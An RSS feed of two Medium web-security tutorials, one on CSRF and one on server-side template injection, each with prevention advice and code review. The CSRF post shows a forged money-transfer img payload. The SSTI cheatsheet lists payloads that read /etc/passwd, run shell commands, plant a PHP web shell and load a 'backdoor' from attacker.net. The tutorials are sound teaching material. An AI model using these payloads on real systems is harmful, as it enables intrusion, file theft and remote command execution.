<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Meryem Dalgalı on Medium]]></title>
        <description><![CDATA[Stories by Meryem Dalgalı on Medium]]></description>
        <link>https://medium.com/@meryemddalgali?source=rss-20ef24e3019c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rkwzWgnHkFk0cCkW1Ue3yg@2x.jpeg</url>
            <title>Stories by Meryem Dalgalı on Medium</title>
            <link>https://medium.com/@meryemddalgali?source=rss-20ef24e3019c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 17:54:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@meryemddalgali/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[WebSec — CSRF/XSRF (Cross-Site Request Forgery)]]></title>
            <link>https://medium.com/@meryemddalgali/websec-csrf-xsrf-cross-site-request-forgery-6c048c6323d1?source=rss-20ef24e3019c------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c048c6323d1</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[xsrf]]></category>
            <category><![CDATA[csrf-attack]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Meryem Dalgalı]]></dc:creator>
            <pubDate>Mon, 26 Aug 2024 16:14:24 GMT</pubDate>
            <atom:updated>2024-08-26T16:14:24.861Z</atom:updated>
            <content:encoded><![CDATA[<h3>WebSec — CSRF/XSRF (Cross-Site Request Forgery)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YjLvlKgwM8FpiGIpI_-ISw.png" /></figure><h4>What is CSRF and how does it occur?</h4><p>Cross-Site Request Forgery (CSRF) is the manipulation of the user by the attacker. This manipulation process takes place with various phishing methods. Thus, the target site, where the user completes the authentication process, can perform various activities against the victim’s request by using the user’s cookies (such as transferring money from his account, changing his e-mail address and password). First of all, before analyzing the vulnerability in detail, let’s talk about the basics.</p><p><strong>Cookie:</strong> HTTP is a stateless protocol. Stateless means that it does not keep state information. This means that after the request-response cycle, the next request does not keep any information about what happened in the previous request. Cookies came into our lives at this point. In this way, session information can be tracked on the server side by processing through cookies without taking user information at every request made.</p><p>Most web applications perform authentication based on the user’s sessions. After the authentication process is completed, the browser stores a session cookie. The browser then sends the cookie to the registered domain with each request to make the session process easier.</p><p>The risk inherent in this mechanism is that cookies are added to the requests sent to the application in systems where the source and how they are sent are not controlled. CSRF vulnerability occurs when necessary precautions are not taken.</p><h4>Identifying CSRF</h4><p>Cross-Site Request Forgery (CSRF) vulnerabilities in the most basic form arise when a malicious actor can trick the victim’s browser into performing an action. However, not every action (API endpoint or method) is vulnerable. Certain conditions have to be met before we can consider a specific endpoint or app route to be vulnerable to CSRF. Let’s take a look at it in detail.</p><p>To ensure an API endpoint or app route is susceptible to Cross-Site Request Forgery (CSRF), three main conditions must align:</p><ol><li><strong>Privileged Action Requirement:</strong> The target endpoint must perform an action that alters data on behalf of the user. This could involve modifying, adding, or deleting data. Publicly accessible endpoints, such as contact forms, are generally not protected against CSRF, but exploiting them often yields no significant impact.</li><li><strong>Session ID with Appropriate SameSite Policy:</strong> For CSRF to be viable, the session ID must be stored in a cookie with the SameSite attribute set to either “None” or “Lax.” If the policy is set to “Strict,” the browser will block the cookie from being sent in cross-origin requests, preventing the attack. Endpoints requiring non-standard headers for authentication are typically safe from CSRF since credentials won’t be forwarded automatically. Exceptions exist when HTTP Basic Authentication or client certificates are in use, as these methods ensure credentials are included in each request.</li><li><strong>Absence of Unpredictable Values:</strong> The request should not include any values or tokens that an attacker cannot predict. Developers often implement anti-CSRF tokens in state-changing requests to mitigate this risk. However, vulnerabilities can arise if these tokens are improperly validated or lack randomness.</li></ol><p>These conditions create the foundation for CSRF vulnerabilities. Understanding and addressing them is key to protecting your application.</p><h4>CSRF Exploitation</h4><blockquote>Method 1</blockquote><p>Sending an HTTP GET request should never cause any data to change. However, some web applications use GET instead of POST, which is suitable for data-change situations.</p><pre>GET /transfer?amount=1000&amp;targetaccount=user</pre><p>Since this request is from a user who is authenticated in the application, the attacker can manipulate the URL at this point. He can use phishing methods to get the target user who has completed the authentication process to make this request.</p><p>For example, the attacker will redirect the victim to his site with a phishing attack and parse the manipulated request in the &lt;img&gt; tag in the user’s browser (during the parse process, the browser will add cookies to the request), so that the manipulated request will be made by the victim.</p><pre>&lt;img src=&quot;http://example.com/transfer?amount=999999&amp;targetaccount=hackeraccount&quot;&gt;</pre><blockquote>Method 2</blockquote><p>On a site where no measures are taken against CSRF attack, the admin user can add users with a post request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RQPcH6CzefHgCekCC1wtug.png" /></figure><p>As seen in the image below, the attacker uses the payload to get the administrator to add a new user on the target site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*EDdEtlWC8g18LT0k29aqVg.png" /></figure><p>When the victim opens the malicious link sent by the attacker, the attacker’s account will be added.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*bly3qDxltXiLY4q8Msyy1g.png" /></figure><h4>Roadmap</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_0k4KZ-6d3HgN-fW_g3Cw.png" /></figure><p>I’ve created a roadmap that you can use while testing. I hope it will be useful :)</p><h4>Vulnerability Prevention</h4><h4>SameSite Cookies</h4><p>Since the behavior of browsers adding cookies causes security problems, the SameSite cookie was created to provide control over cookies. In this definition, we instruct in which cases the cookie can be added in requests triggered from different sources. These definitions:</p><ul><li>Strict: Does not add cookies to requests made from other sources.</li><li>Lax: Does not send cookies to normal cross-site requests, but sends them when a user is navigating to the source site (i.e. following a link). (GET request)</li><li>None: Adds cookies to every request.</li></ul><p>Although most modern browsers set SameSite by default (Lax) for all cookies, it should still be set manually in the web application. SameSite alone is not a sufficient measure.</p><h4>Anti-CSRF Tokens</h4><p>Anti CSRF tokens give the user’s browser a token that the browser must then send back. This token must be unique and HTTP requests should only occur after the token has been verified.<br>In the vulnerability examples above, there was no check on outgoing requests. But now the web server’s token is placed in a session cookie that is sent to the browser after login. Form submissions then contain a hidden field containing the token. If the correct token implementation is done, the CSRF vulnerability is eliminated.</p><h4>Resources</h4><ul><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series</a></li><li><a href="https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery">CSRF (Cross Site Request Forgery) | HackTricks</a></li><li><a href="https://blog.intigriti.com/hacking-tools/csrf-a-complete-guide-to-exploiting-advanced-csrf-vulnerabilities">CSRF: A complete guide to exploiting advanced CSRF vulnerabilities</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c048c6323d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebSec — SSTI (Server Site Template Injection)]]></title>
            <link>https://medium.com/@meryemddalgali/websec-ssti-server-site-template-injection-1a9603caa51e?source=rss-20ef24e3019c------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a9603caa51e</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentest-learnings]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Meryem Dalgalı]]></dc:creator>
            <pubDate>Thu, 22 Aug 2024 11:44:58 GMT</pubDate>
            <atom:updated>2024-08-22T11:50:51.381Z</atom:updated>
            <content:encoded><![CDATA[<h3>WebSec — SSTI (Server Site Template Injection)</h3><p>Before starting the Server Side Template Injection vulnerability, it is necessary to examine the MVC approach used in applications, the template structure, and the functioning of this structure.</p><h4><strong>What is MVC Architecture?</strong></h4><p>In complex applications, software architectural approaches such as MVC have emerged with the intertwining of backend and frontend components and the difficulty of reading the written codes. It allows the code to be better organized (Frontend-Backend).</p><p>MVC is formed from the initials of the words Model-View-Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*W--xVIFw_smJcxCujNZOVA.png" /><figcaption>MVC</figcaption></figure><p>The figure shows the relationship between View, Controller, Model, Client.</p><ul><li><strong>Model:</strong> This is where the data is processed or stored.</li><li><strong>View:</strong> The user interface. It allows to view and modify the data.</li><li><strong>Controller:</strong> Management of the workflow. The request is handled by the controller. It gives the appropriate view with the model data as a response.</li></ul><p>To summarise: The users tells the Controller layer what they want thanks to the routes defined to the web application. Controller layer; If there is any data operation among the user’s requests, it performs the necessary operations to the Model layer and receives the answer. It transmits the answer it receives to the View layer. The View layer prepares the answer that the user needs to see and transmits it to the user.</p><ul><li>The MVC architecture is widely used in web applications that work with template engines. The request is usually received by the controller and processed on the model. The response is sent to the user’s browser via the View component. If the user input is not processed correctly during this process, SSTI vulnerability may occur.</li></ul><h4>What are Template Engines<strong>?</strong></h4><p>Template engines are located in the ‘View’ layer of the MVC architecture. It processes the data coming from the Controller layer and transmits it to the user in HTML format. In other words, it is designed to be used to make applications more dynamic and to create dynamic web pages by combining fixed templates with temporary data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*EjiNcyO6mp3HLLmdn3ickw.png" /><figcaption>Template Engine</figcaption></figure><p>The most commonly used template engines according to software languages are as follows:</p><ul><li>•PHP — Smarty, Twig</li><li>•Java — Velocity, Freemaker</li><li>•Python — Jinja2, Mako, Tornado</li><li>•JavaScript — Jade, Rage</li><li>•Ruby — Liquid</li></ul><h4>What is SSTI<strong>?</strong></h4><p>SSTI is the attacker’s ability to trigger unwanted behaviors on the application server or access sensitive data by injecting malicious payloads into the template executed on the server side. The vulnerability occurs when the dynamic data of the user is processed in the template on the server.</p><p>The main factor in the formation of SSTI is INPUTs.</p><ul><li>Data read from databases</li><li>Content of a file on a disc</li><li>Data from HTTP traffic</li><li>Data from 3rd party applications</li></ul><blockquote>‘Briefly, all the data processed from the outside world to the workflow of the application is an input.’</blockquote><h4>Vulnerability Detection</h4><p>Considering the possibility that all input points in a web test are potentially used in the template, we can try to detect the vulnerability by manipulating the inputs.</p><p>The simplest initial approach is to send meta characters ${{{&lt;%[‘\’}}} to an input and see what kind of response it gets in the response. This process is called Fuzzing (return error, missing character, etc.)</p><p>We can go to the received error and arrive at the template engine type here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*PMnDS_ZElDKHDYN8OaEhFg.png" /></figure><p>On the other hand, if we do not get an error but get a response with missing characters in the meta characters we send, it is understood that the missing character is somehow interpreted on the server side.</p><p>We can also use the following template to find out if the application is vulnerable and which type of template engine it uses. However, in some cases the template will be insufficient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*zZv5E8ZnWC1JkePkDIG9xw.png" /><figcaption>Server Side Template Injection</figcaption></figure><h4>Exploitation of Vulnerability</h4><p>The next step after defining the template engine is to read the documents. The second step is the exploration part. Exploring the environment to find out exactly what you have access to. You can expect to find both default objects provided by the template engine and application specific objects passed to the template by the developer.</p><p>Many template engines provide a core object or namespace object that contains everything in scope and provides an idiomatic way to list the properties and methods of an object.</p><p>In the third step, the attack part, we need to have a solid idea of the attack surface we can use and be able to proceed with traditional security auditing techniques by reviewing each function for vulnerabilities in terms of exploitability. It is important to approach this in the context of a wider application. Some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file inclusion, information disclosure and privilege escalation vulnerabilities.</p><p>Payload: <em>{php}$s = file_get_contents(‘/etc/passwd’,NULL, NULL, 0, 100); var_dump($s);{/php}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*z0YNt3sVDyIRTrmdJV5iug.png" /></figure><h4>Cheatsheet:</h4><pre>Generic<br>${{&lt;%[%&#39;&quot;}}%\.<br>{% debug %}<br>{7*7}<br>{{ &#39;7&#39;*7 }}<br>{2*2}[[7*7]]<br>&lt;%= 7 * 7 %&gt;<br>#{3*3}<br>#{ 3 * 3 }<br>[[3*3]]<br>${2*2}<br>@(3*3)<br>${= 3*3}<br>{{= 7*7}}<br>${{7*7}}<br>#{7*7}<br>[=7*7]<br>{{ request }}<br>{{self}}<br>{{dump(app)}}<br>{{ [] .class.base.subclassesO }}<br>{{&#39;&#39;.class.mro()[l] .subclassesO}}<br>for c in [1,2,3] %}{{ c,c,c }}{% endfor %}<br>{{ []._class.base.subclasses_O }}<br>{{[&#39;cat%20/etc/passwd&#39;]|filter(&#39;system&#39;)}}<br><br>PHP <br>{php}print &quot;Hello&quot;{/php}<br>{php}$s = file_get_contents(&#39;/etc/passwd&#39;,NULL, NULL, 0, 100); var_dump($s);{/php}<br>{{dump(app)}}<br>{{app.request.server.all|join(&#39;,&#39;)}}<br>&quot;{{&#39;/etc/passwd&#39;|file_excerpt(1,30)}}&quot;@<br>{{_self.env.setCache(&quot;ftp://attacker.net:2121&quot;)}}{{_self.env.loadTemplate(&quot;backdoor&quot;)}}<br>{$smarty.version}<br>{php}echo id;{/php}<br>{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,&quot;&lt;?php passthru($_GET[&#39;cmd&#39;]); ?&gt;&quot;,self::clearConfig())}<br><br>Python<br>{% debug %}<br>{{settings.SECRET_KEY}}<br>{% import foobar %} = Error<br>{% import os %}{{os.system(&#39;whoami&#39;)}}<br></pre><h4>Vulnerability Prevention</h4><ul><li>Users should not be authorized to edit and add templates</li><li>Updating the plugins and additional products of 3rd party web applications used</li><li>Input Sterilization</li><li>Use Logic-Less Template Engine (like Mustache)</li></ul><h4>Code Review</h4><pre>&lt;?php<br>include &#39;vendor/twig/twig/lib/Twig/Autoloader.php&#39;;<br><br>$name = $_GET[&#39;name&#39;];<br><br>Twig_Autoloader::register();<br>$loader = new Twig_Loader_Array(array(<br>    &#39;index&#39; =&gt; $name,<br>));<br>$twig = new Twig_Environment($loader);<br><br>try {<br>    $result = $twig-&gt;render(&#39;index&#39;);<br>    echo $result;<br>} catch (Exception $e) {<br>    echo &#39;Error: &#39; . $e-&gt;getMessage();<br>}<br>?&gt;<br></pre><p>SSTI vulnerability will occur when the input received from the user ($_GET[‘name’]) is sent directly to the template engine (Twig). In order to prevent the vulnerability, the code should be edited as follows.</p><pre>&lt;?php<br>include &#39;vendor/twig/twig/lib/Twig/Autoloader.php&#39;;<br><br>$name = htmlspecialchars($_GET[&#39;name&#39;], ENT_QUOTES, &#39;UTF-8&#39;); // Kullanıcı girdisini temizliyoruz<br><br>Twig_Autoloader::register();<br>$loader = new Twig_Loader_Array(array(<br>    &#39;index&#39; =&gt; &#39;Hello, {{ name }}!&#39;, // Kullanıcı girdisi sadece değişken olarak kullanılıyor<br>));<br>$twig = new Twig_Environment($loader);<br><br>try {<br>    $result = $twig-&gt;render(&#39;index&#39;, array(&#39;name&#39; =&gt; $name)); // Girdi şablona güvenli bir şekilde ekleniyor<br>    echo $result;<br>} catch (Exception $e) {<br>    echo &#39;Error: &#39; . $e-&gt;getMessage();<br>}<br>?&gt;</pre><h4>Tools</h4><ul><li><a href="https://github.com/Hackmanit/TInjA">GitHub - Hackmanit/TInjA: TInjA is a CLI tool for testing web pages for template injection vulnerabilities and supports 44 of the most relevant template engines for eight different programming languages.</a></li><li><a href="https://securityonline.info/sstimap-about-automatic-ssti-detection-tool/">SSTImap v1.2 releases: About Automatic SSTI detection tool</a></li><li><a href="https://github.com/epinna/tplmap">GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool</a></li></ul><h4>Resources</h4><p><a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">SSTI (Server Side Template Injection) | HackTricks</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a9603caa51e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>